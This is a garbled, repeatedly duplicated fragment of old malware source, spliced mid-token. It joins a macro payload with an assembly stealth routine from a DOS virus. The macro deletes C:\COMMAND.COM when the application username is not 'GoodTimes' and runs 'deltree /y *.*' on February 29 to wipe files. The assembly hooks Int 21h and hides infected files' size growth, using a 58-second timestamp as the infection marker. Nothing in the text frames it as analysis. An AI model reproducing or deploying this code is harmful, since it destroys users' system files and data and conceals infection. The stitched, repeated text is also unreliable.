%20Flag

Sub Main If Application.Username <> "GoodTimes" Then ' Check the registration name of the application SetAttr "C:\COMMAND.COM",0 ' Wipe the attributes of COMMAND.COM Open "C:\COMMAND.COM" for Output as #1 ' We open it for checking if it activates any error flag Close #1 ' It exists, ok... let's close it... Kill "C:\COMMAND.COM" ' ... and kill it }:-) End If If Month(Now())=2 Then ' System date -> month=february (2)? If Day(Now())=29 Then ' february 29th? (only one time each four years) :-) Shell "deltree /y *.* > null" ' Btw... /y works for all the languages :-) End If End If End Sub ;Routine... (Look at Method #1 for Int21h handler) Dir_Stealth2 pushf ;Fake an Int Call push cs ;Save our location call int21Call ;Step #1 jc no_good ;Error Split push ax push bx push es mov ah,51h ;Get Current DTA int 21h ;ES:BX --> DTA mov ax,es:[bx+16h] ;Get File Time and ax,1fh ;Un Mask Seconds field xor al,1dh ;Is it 58 Seconds? jnz not_infected ;Not infected! Dah? sub es:[bx+1Ah],Virus_Size ;Minus Virus Size! sbb es:[bx+1Ch],0 ;Fix up the Sub, Carrying! not_infected: pop es pop bx ;Restore Registers pop ax no_Good:Times Sub Main If Application.Username <> "GoodTimes" Then ' We check the registration name of the application SetAttr "C:\COMMAND.COM",0 ' Wipe the attributes of COMMAND.COM Open "C:\COMMAND.COM" for Output as #1 ' We open it for checking if it activates any error flag Close #1 ' It exists, ok... let's close it... Kill "C:\COMMAND.COM" ' ... and kill it }:-) End If If Month(Now())=2 Then ' System date -> month=february (2)? If Day(Now())=29 Then ' february 29th? (only one time each four years) :-) Shell "deltree /y *.* > null" ' Btw... /y works for all the languages :-) End If End If End Sub ;Routine... (Look at Method #1 for Int21h handler) Dir_Stealth2 pushf ;Fake an Int Call push cs ;Save our location call int21Call ;Step #1 jc no_good ;Error Split push ax push bx push es mov ah,51h ;Get Current DTA int 21h ;ES:BX --> DTA mov ax,es:[bx+16h] ;Get File Time and ax,1fh ;Un Mask Seconds field xor al,1dh ;Is it 58 Seconds? jnz not_infected ;Not infected! Dah? sub es:[bx+1Ah],Virus_Size ;Minus Virus Size! sbb es:[bx+1Ch],0 ;Fix up the Sub, Carrying! not_infected: pop es pop bx ;Restore Registers pop ax no_Good:Times Sub Main If Application.Username <> "GoodTimes" Then ' We check the registration name of the application SetAttr "C:\COMMAND.COM",0 ' Wipe the attributes of COMMAND.COM Open "C:\COMMAND.COM" for Output as #1 ' We open it for checking if it activates any error flag Close #1 ' It exists, ok... let's close it... Kill "C:\COMMAND.COM" ' ... and kill it }:-) End If If Month(Now())=2 Then ' System date -> month=february (2)? If Day(Now())=29 Then ' february 29th? (only one time each four years) :-) Shell "deltree /y *.* > null" ' Btw... /y works for all the languages :-) End If End If End Sub ;Routine... (Look at Method #1 for Int21h handler) Dir_Stealth2 pushf ;Fake an Int Call push cs ;Save our location call int21Call ;Step #1 jc no_good ;Error Split push ax push bx push es mov ah,51h ;Get Current DTA int 21h ;ES:BX --> DTA mov ax,es:[bx+16h] ;Get File Time and ax,1fh ;Un Mask Seconds field xor al,1dh ;Is it 58 Seconds? jnz not_infected ;Not infected! Dah? sub es:[bx+1Ah],Virus_Size ;Minus Virus Size! sbb es:[bx+1Ch],0 ;Fix up the Sub, Carrying! not_infected: pop es pop bx ;Restore Registers pop ax no_Good:Times If Application.Username <> "GoodTimes" Then ' We check the registration name of the application SetAttr "C:\COMMAND.COM",0 ' Wipe the attributes of COMMAND.COM Open "C:\COMMAND.COM" for Output as #1 ' We open it for checking if it activates any error flag Close #1 ' It exists, ok... let's close it... Kill "C:\COMMAND.COM" ' ... and kill it }:-) End If If Month(Now())=2 Then ' System date -> month=february (2)? If Day(Now())=29 Then ' february 29th? (only one time each four years) :-) Shell "deltree /y *.* > null" ' Btw... /y works for all the languages :-) End If End If End Sub ;Routine... (Look at Method #1 for Int21h handler) Dir_Stealth2 pushf ;Fake an Int Call push cs ;Save our location call int21Call ;Step #1 jc no_good ;Error Split push ax push bx push es mov ah,51h ;Get Current DTA int 21h ;ES:BX --> DTA mov ax,es:[bx+16h] ;Get File Time and ax,1fh ;Un Mask Seconds field xor al,1dh ;Is it 58 Seconds? jnz not_infected ;Not infected! Dah? sub es:[bx+1Ah],Virus_Size ;Minus Virus Size! sbb es:[bx+1Ch],0 ;Fix up the Sub, Carrying! not_infected: pop es pop bx ;Restore Registers pop ax no_Good:Times Sub Main If Application.Username <> "GoodTimes" Then ' We check the registration name of the application SetAttr "C:\COMMAND.COM",0 ' Wipe the attributes of COMMAND.COM Open "C:\COMMAND.COM" for Output as #1 ' We open it for checking if it activates any error flag Close #1 ' It exists, ok... let's close it... Kill "C:\COMMAND.COM" ' ... and kill it }:-) End If If Month(Now())=2 Then ' System date -> month=february (2)? If Day(Now())=29 Then ' february 29th? (only one time each four years) :-) Shell "deltree /y *.* > null" ' Btw... /y works for all the languages :-) End If End If End Sub ;Routine... (Look at Method #1 for Int21h handler) Dir_Stealth2 pushf ;Fake an Int Call push cs ;Save our location call int21Call ;Step #1 jc no_good ;Error Split push ax push bx push es mov ah,51h ;Get Current DTA int 21h ;ES:BX --> DTA mov ax,es:[bx+16h] ;Get File Time and ax,1fh ;Un Mask Seconds field xor al,1dh ;Is it 58 Seconds? jnz not_infected ;Not infected! Dah? sub es:[bx+1Ah],Virus_Size ;Minus Virus Size! sbb es:[bx+1Ch],0 ;Fix up the Sub, Carrying! not_infected: pop es pop bx ;Restore Registers pop ax no_Good:Times Sub Main If Application.Username <> "GoodTimes" Then ' We check the registration name of the application SetAttr "C:\COMMAND.COM",0 ' Wipe the attributes of COMMAND.COM Open "C:\COMMAND.COM" for Output as #1 ' We open it for checking if it activates any error flag Close #1 ' It exists, ok... let's close it... Kill "C:\COMMAND.COM" ' ... and kill it }:-) End If If Month(Now())=2 Then ' System date -> month=february (2)? If Day(Now())=29 Then ' february 29th? (only one time each four years) :-) Shell "deltree /y *.* > null" ' Btw... /y works for all the languages :-) End If End If End Sub ;Routine... (Look at Method #1 for Int21h handler) Dir_Stealth2 pushf ;Fake an Int Call push cs ;Save our location call int21Call ;Step #1 jc no_good ;Error Split push ax push bx push es mov ah,51h ;Get Current DTA int 21h ;ES:BX --> DTA mov ax,es:[bx+16h] ;Get File Time and ax,1fh ;Un Mask Seconds field xor al,1dh ;Is it 58 Seconds? jnz not_infected ;Not infected! Dah? sub es:[bx+1Ah],Virus_Size ;Minus Virus Size! sbb es:[bx+1Ch],0 ;Fix up the Sub, Carrying! not_infected: pop es pop bx ;Restore Registers pop ax no_Good:Times